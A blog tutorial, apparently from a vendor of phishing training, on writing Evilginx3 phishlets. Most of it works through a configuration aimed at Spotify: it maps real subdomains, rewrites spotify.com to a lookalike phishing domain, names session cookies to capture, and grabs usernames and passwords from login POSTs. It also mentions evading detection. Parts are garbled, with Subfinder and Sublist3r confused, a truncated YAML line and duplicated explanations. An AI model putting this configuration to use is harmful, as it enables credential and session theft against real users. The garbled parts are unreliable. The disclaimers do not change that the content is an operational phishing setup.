How to Create Phishlets for Evilginx3 & MITM Ransomware Phishing Engagements (Evilginx 3 Phishlet Developer Program)
Update: a Note on Custom Phishlet Inquires
I receive many emails asking for custom phishlets. Since this has been happening a lot lately. Instead of explaining this individually via email, I might as well explain for all of you my stance on it so there is no confusion.
It’s important to note that developing custom phishlets can be a significant undertaking. It would not only be highly regulated but would also involve extensive paperwork and a financial investment. Understand that the templates we make are authentic and built custom for our clients needs.
If we were to develop a custom tool/script for you, it would be under the strict condition that it is used for legitimate, lawful purposes such as penetration testing and company training.
Before proceeding with any development, we require detailed information about your intended use case. This is to ensure that the tool will not be used nefariously, which could potentially put our company at risk.
Furthermore, we would require a binding agreement stating that the tools/scripts will be used responsibly and in compliance with all relevant laws and regulations. This agreement would also stipulate that our company is not liable for any misuse of such configurations.
That being said, custom phishlets are made only for professionals, Red/Blue teams, security researchers, and specifically those working professionally in OS.
If you are a professional and would like to request a custom phishlet for your engagement, please let us know via email: info@simplerhacking.com
- SH
Owner of Simpler Hacking
Here is some of our past client work for reference.
You can find more on our website: click here
I hope that explains the logic of ordering custom made phishlets & tools.
Moving on. So for individuals wanting to learn how to create phishlets yourself, I would much rather teach you the methodology and thought-process when creating them. If you want to learn how create phishlets for the newest version of Evilginx3 from scratch, check out my advanced training.
You can join the waitlist to my Evilginx3 Phishlet Developer Training Course that will be releasing soon in 2024. It’s a complete training on the process I use to make advanced phishlets for various sites.
If you want to really learn how to do this shit, I suggest taking a look.
Also. Do not buy phishlets from randoms on the internet. You will get scammed. A random guy in a random chat who says he has a Google phishlet or a Chase Bank phishlet and is trying to sell it to you is a scammer. These Telegram & Discord scamming idiots are everywhere saying “dM mE foR wOrKiNg GoOgLe pHishLet”. Please don’t be stupid.
Now on to the article:
Context of this post:
So I get a lot of emails from asking how I go about making phishlets for Evilginx.
In this article, I will attempt to simplify the process of how I code Phishlets for Evilginx3 as best I can.
(i.e. the first few parameters in the YAML script)
Using Subfinder:
What is Subfinder?
Subfinder is an open-source Python tool designed to enumerate subdomains of websites using various search engines. It’s a favorite among cybersecurity professionals for its effectiveness and simplicity.
Prerequisites:
- Kali Linux (Subfinder is usually pre-installed)
- Basic understanding of terminal commands
- Python installed (usually comes with Kali Linux)
Step 1: Installing Subfinder
If Sublist3r is not already installed on your system, you can easily install it via the command line:
sudo apt-get install subfinder
Step 2: Running it
To begin subdomain enumeration, open your terminal and execute the following command:
subfinder -d targetdomain.com
Replace targetdomain.com
with the domain you are targeting. For example:
subfinder -d example.com
This command instructs Sublist3r to start enumerating subdomains associated with example.com
.
Analyzing the Results
After Subfinder completes its run, it will output a list of found subdomains. For example:
Found subdomains:
- login.example.com
- user.example.com
- portal.example.com
- mail.example.com
Selecting Relevant Subdomains
When designing a phishlet for a reverse proxy attack, especially to capture a login process, focus on subdomains that are typically involved in authentication or user interaction. From our example list:
login.example.com
: Likely where the login process occurs.user.example.com
: Possibly a user dashboard or profile area.
These are the subdomains you’d consider for your phishlet.
Configuring the Phishlet
In your phishlet’s YAML file, under the proxy_hosts
section, include the identified subdomains. Here's an illustrative snippet:
proxy_hosts:
- {phish_sub: 'login', orig_sub: 'login.example.com', is_landing: true}
- {phish_sub: 'user', orig_sub: 'user.example.com'}
In this configuration:
phish_sub
: The subdomain you will use in your phishing domain.orig_sub
: The original subdomain from the target.is_landing
: Indicates if this subdomain is the landing page (commonlytrue
for the login page).
Ok Moving on, Enough theory:
Continuing from where we left off, let’s delve deeper into the complexities of designing my phishlet for Spotify using Sublist3r. The focus here will be on understanding the nuances of capturing subdomains, cookies, auth tokens, and session tokens which are often challenging.
My Evilginx3 Repository: https://github.com/simplerhacking/Evilginx3-Phishlets
How I made a Phishlet Configuration for Spotify
(For Strictly Educational Purposes Only)
In our Spotify phishlet example, we’ve already identified several key subdomains using Sublist3r. Now, let’s discuss the other critical parameters: sub_filters
, auth_tokens
, credentials
, and login
.
Understanding proxy_hosts
Firstly, in your proxy_hosts
configuration, you've identified several subdomains and specified whether they handle session information (session: true/false
). This is crucial because it determines how the phishlet handles cookies and session data – key components in maintaining the illusion of a legitimate session in the phishing process.
The Role of sub_filters
sub_filters
are used to modify the content of HTTP responses. This modification is essential to ensure that all references to the original domain (like spotify.com
) are replaced with the phishing domain. This is a complex task, especially for dynamic content or JavaScript-heavy sites.
For instance:
sub_filters:
- {triggers_on: 'spotify.com', orig_sub: 'www', domain: 'spotify.com', search: 'spotify.com', replace: 'user-authentication-spotify-accounts.com', mimes: ['text/html', 'application/json', 'application/xhtml+xml']}
Here, every instance of spotify.com
in responses from www.spotify.com
is replaced with your phishing domain. This ensures that the victim stays within your controlled environment.
Capturing auth_tokens
auth_tokens
are critical as they often represent the user's authenticated session. Capturing these tokens allows the phishlet to maintain a session that appears legitimate to the user.
For Spotify, you’ve identified a range of cookies:
auth_tokens:
- domain: '.spotify.com'
keys: ['sp_dc', 'sp_key', ...]
Each of these keys represents a cookie that could be critical for maintaining a session or tracking user preferences. By capturing them, you can replicate the user’s session on your end.
Configuring credentials
The credentials
section is where you define how to capture the username and password. You've set it up to capture these credentials from POST data, which is the common method for login forms.
For example:
credentials:
username:
key: 'username'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
This setup captures any data associated with the keys ‘username’ and ‘password’ sent via POST requests, which is typical of login forms.
Setting Up the login
Path
Finally, the login
section defines the exact path on the target domain where the login process occurs. This is crucial to ensure that the phishlet intercepts the login attempt correctly.
login:
domain: 'accounts.spotify.com'
path: '/login/password'
Overview of Advanced Evilginx Phishlet Scripting
I will go over the advanced parameters in another blog post
- Dynamic Content Handling: Modern web applications often load content dynamically using JavaScript. Ensuring that all dynamic references to the original domain are appropriately rewritten to the phishing domain is challenging. This requires thorough testing and possibly custom scripting.
- Cookie and Session Token Handling: Capturing and correctly utilizing cookies and session tokens is complex, particularly with sites that have robust security measures. It involves not just capturing the tokens but also using them in a way that mimics normal browser behavior.
- SSL/TLS Issues: When reverse proxying HTTPS sites, handling SSL/TLS encryption can be tricky. It involves managing certificates in a way that doesn’t alert the user or the target site.
- Evading Detection: Sophisticated websites have mechanisms to detect and block phishing attempts. Crafting a phishlet that avoids detection requires a deep understanding of the target site’s security measures.
Understood, let’s take a closer look at each line in the proxy_hosts
and sub_filters
sections of the Spotify phishlet configuration, linking it back to how Subfinder aids in the process. This will provide a comprehensive understanding of how these configurations are derived and applied, focusing on the more challenging aspects of phishlet design.
Detailed Breakdown of proxy_hosts
- {phish_sub: 'www', orig_sub: 'www', domain: 'spotify.com', session: true, is_landing: true, auto_filter: true}
phish_sub
: Your phishing site's subdomain mirroring Spotify's 'www'.orig_sub
: The original 'www' subdomain of Spotify.domain
: The domain 'spotify.com'.session
: Indicates that this subdomain handles session information.is_landing
: This is the landing page for your phishing site.auto_filter
: Automatically rewrite links and references to this domain.- Subfinder Role: Helps identify ‘www’ as a primary interface for users.
- accounts.spotify.com:
- {phish_sub: 'accounts', orig_sub: 'accounts', domain: 'spotify.com', session: false, is_landing: false}
phish_sub
: Your phishing site's subdomain mirroring Spotify's 'www'.orig_sub
: The original 'www' subdomain of Spotify.domain
: The domain 'spotify.com'.session
: Indicates that this subdomain handles session information.is_landing
: This is the landing page for your phishing site.auto_filter
: Automatically rewrite links and references to this domain.- Subfinder Role: Helps identify ‘www’ as a primary interface for users.
- Similar to the first, but for the ‘accounts’ subdomain. This is likely where user account management happens. Not marked as a session handler or landing page.
- {phish_sub: 'open', orig_sub: 'open', domain: 'spotify.com', session: false, is_landing: fa
- For the ‘open’ subdomain, possibly related to Spotify’s web player or public content.
- Subfinder Role: Discovers ‘open’ as a subdomain involved in the streaming or public access aspect of Spotify.
- api-partner.spotify.com:
- {phish_sub: 'api-partner', orig_sub: 'api-partner', domain: 'spotify.com', session: false, is_landing: false}
- Targets ‘api-partner’, which might be an API endpoint used by Spotify’s partners. Not a direct user interaction point, hence
session
is false. - Sublister Role: Recognizes ‘api-partner’ as a potential API subdomain crucial for backend interactions.
- guc3-spclient.spotify.com:
- {phish_sub: 'guc3-spclient', orig_sub: 'guc3-spclient', domain: 'spotify.com', session: false, is_landing: false}
- This could be a specific client or service endpoint. Not a primary user interface, hence not a session handler or landing page.
- Subfinder Role: Identifies this subdomain as part of Spotify’s service infrastructure.
- accounts.scdn.co:
- {phish_sub: 'accounts', orig_sub: 'accounts', domain: 'scdn.co', session: true, is_landing: false, auto_filter: true}
- yamlCopy code
- {phish_sub: 'accounts', orig_sub: 'accounts', domain: 'scdn.co', session: true, is_landing: false, auto_filter: true}
- Targets an ‘accounts’ subdomain under a different domain (
scdn.co
), important for session handling. - Sublist3r Role: Highlights the use of multiple domains in Spotify’s ecosystem, like
scdn.co
.
- encore.scdn.co:
- {phish_sub: 'encore', orig_sub: 'encore', domain: 'scdn.co', session: true, is_landing: false, auto_filter: true}
- {phish_sub: 'encore', orig_sub: 'encore', domain: 'scdn.co', session: true, is_landing: false, auto_filter: true}
- Another subdomain under
scdn.co
, possibly related to content delivery or a specific service. - Subfinder Role: Identifies relevant subdomains not just on the primary domain but also on associated domains.
- apresolve.spotify.com:
- {phish_sub: 'apresolve', orig_sub: 'apresolve', domain: 'spotify.com', session: true, is_landing: false, auto_filter: true}
- {phish_sub: 'apresolve', orig_sub: 'apresolve', domain: 'spotify.com', session: true, is_landing: false, auto_filter: true}
- Likely a technical subdomain, perhaps for API resolution. Marked for session handling, indicating its importance in maintaining user sessions.
- Subfinder Role: Uncovers less obvious, technical subdomains crucial for the application’s functionality.
Detailed Breakdown of sub_filters
- Filter for spotify.com:
- {triggers_on: 'spotify.com', orig_sub: 'www', domain: 'spotify.com', search: 'spotify.com', replace: 'user-authentication-spotify-accounts.com', mimes: ['text/html', 'application/json', 'application/xhtml+xml']}
triggers_on
: Activates when content from 'spotify.com' is loaded.orig_sub
: Applies to content originating from the 'www' subdomain.search
andreplace
: Replaces references to 'spotify.com' with the phishing domain, crucial for maintaining the facade of the legitimate site.mimes
: Specifies the content types (like HTML, JSON) where replacements occur.- Subfinder Role: Post identifying the subdomains, this filter helps in manipulating the content from these subdomains to maintain the phishing site’s integrity.
Ok now lets wrap this up… Conclusion…
This detailed breakdown demonstrates how each line in the proxy_hosts
and sub_filters
sections of a phishlet configuration plays a specific role in capturing and manipulating user data and session information. Sublist3r is instrumental in the initial phase, helping identify key subdomains that form the backbone of the phishlet's configuration.
The complexity in phishlet design lies in understanding the interplay between these configurations and how they collectively create a convincing phishing environment. It’s a blend of technical acumen, attention to detail, and a deep understanding of the target website’s architecture.
Need custom phishlets for your penetration tests or enterprise security engagements?
Custom phishlets are available for cybersecurity teams only.
If you are serious about discussing our made to order clients, feel free to reach out email: info@simplerhacking.com
My Phishlet Developer Masterclass is currently in development!
Get notified when it releases: HERE
After many requests from SimplerHacking students I decided to create the Phishlet Developer Masterclass, a course that will delve how I approach of Phishlet creation, guided by my own process when building Phishlets for our enterprise clients as well as tips + tricks I have learned over the years in the cybersecurity industry.
While the masterclass is not yet available, I encourage you to join the waitlist. This way, you can be among the first to access this comprehensive and hands-on learning experience. If you’re eager to expand your skill set and understand the finer aspects of phishlet development, this course is for you.
Follow Me on Github: @SimplerHacking
Email: info@SimplerHacking.com
Sign up for early access to Phishlet Dev Masterclass: https://www.simplerhacking.com/pages/evilginx-phishlet-creation-masterclass
Check out our new Evilginx3 Pro Masterclass course if you are serious about mastering MITM attacks & modern 2FA Bypass
Remember, this tutorial is for educational purposes to understand the technical aspects of red team operations. Unauthorized use of such techniques is illegal and unethical. Always ensure you have proper authorization and are compliant with legal and ethical standards in cybersecurity practices.
Remember, this tutorial is for educational purposes to understand the technical aspects of red team operations. Unauthorized use of such techniques is illegal and unethical. Always ensure you have proper authorization and are compliant with legal and ethical standards in cybersecurity practices.